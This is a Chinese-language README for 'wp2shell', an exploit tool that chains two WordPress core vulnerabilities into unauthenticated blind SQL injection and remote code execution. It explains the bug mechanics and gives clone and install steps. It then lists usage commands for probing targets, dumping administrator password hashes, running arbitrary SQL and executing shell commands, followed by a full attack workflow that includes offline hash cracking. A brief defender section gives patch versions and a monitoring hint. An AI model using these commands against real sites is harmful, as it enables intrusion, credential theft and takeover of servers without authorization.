wp2shell 作者：lucifer0xf

WordPress 核心未认证远程代码执行 POC（CVE-2026-63030 + CVE-2026-60137）

wp2shell 是针对 WordPress 核心关键漏洞链的漏洞利用工具。它将 REST API 批量路由混淆漏洞与 WP_Query 中的 SQL 注入串联起来，从而在存在漏洞的 WordPress 安装上实现未认证远程代码执行。

工作原理

该漏洞利用链串联了 WordPress 核心中的两个漏洞：

1. CVE-2026-60137 — SQL 注入 – 当 author__not_in 以字符串而非数组的形式传入时，WordPress 会跳过 is_array() 清理保护，并将原始值直接插入到 NOT IN (...) SQL 子句中。

2. CVE-2026-63030 — 批量路由混淆 – /wp-json/batch/v1 端点会并行构建 $matches 和 $validation 数组。一个格式错误的子请求会被追加到 $validation 中，但不会追加到 $matches 中，从而导致 +1 索引偏移。子请求 i 会被分派到子请求 i+1 的处理程序。

串联利用：携带内部 GET /wp/v2/users 请求（含 author_exclude 字符串）的 POST /wp/v2/posts 请求可同时绕过方法白名单和输入清理。该字符串以 author__not_in 的形式到达 WP_Query，并被插入到 SQL 中 — 从而获得未认证的盲 SQL 注入。

在此基础上，该工具可以：

• 提取管理员密码哈希
• 以管理员身份认证（哈希被破解后）
• 上传恶意插件
• 执行任意系统命令

功能特性

安装

git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py

就这样。无需任何第三方包。

使用方法

./wp2shell.py <url> [command] [options]

交互模式（菜单驱动）

./wp2shell.py http://target.com

启动一个交互式菜单，所有功能均可通过编号选项使用。

命令

check — 确认漏洞（安全）

执行时间延迟探测以确认可利用性。不读取任何数据，不改变任何内容。

./wp2shell.py http://target.com check

read — 提取数据（盲 SQL 注入）

使用基于时间的盲 SQL 注入从数据库中提取信息。

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — 远程代码执行

需要有效的管理员凭据。 SQL 注入可以恢复密码哈希，但你必须提供恢复出的明文密码。

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

选项

示例工作流程

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

受影响版本

6.9.0 之前的版本不受完整 RCE 利用链影响。

检测与缓解

对于防御方：

• 立即更新到 6.9.5、7.0.2 或更高版本
• Cloudflare WAF 客户会自动受到保护
• Wordfence 客户拥有防火墙规则
• 监控带有嵌套 requests 请求体的 POST /wp-json/batch/v1 请求
• 批量路由上的 404 并不一定意味着“已修复” — 也可能是 WAF/CDN 正在阻止匿名 REST API 访问

法律免责声明

此工具仅用于教育和授权的安全测试目的。

致谢

• 发现：Adam Kues（Assetnote / Searchlight Cyber）
• CVE-2026-60137（SQL 注入）：TF1T、dtro、haongo
• CVE-2026-63030（批量路由混淆）：Adam Kues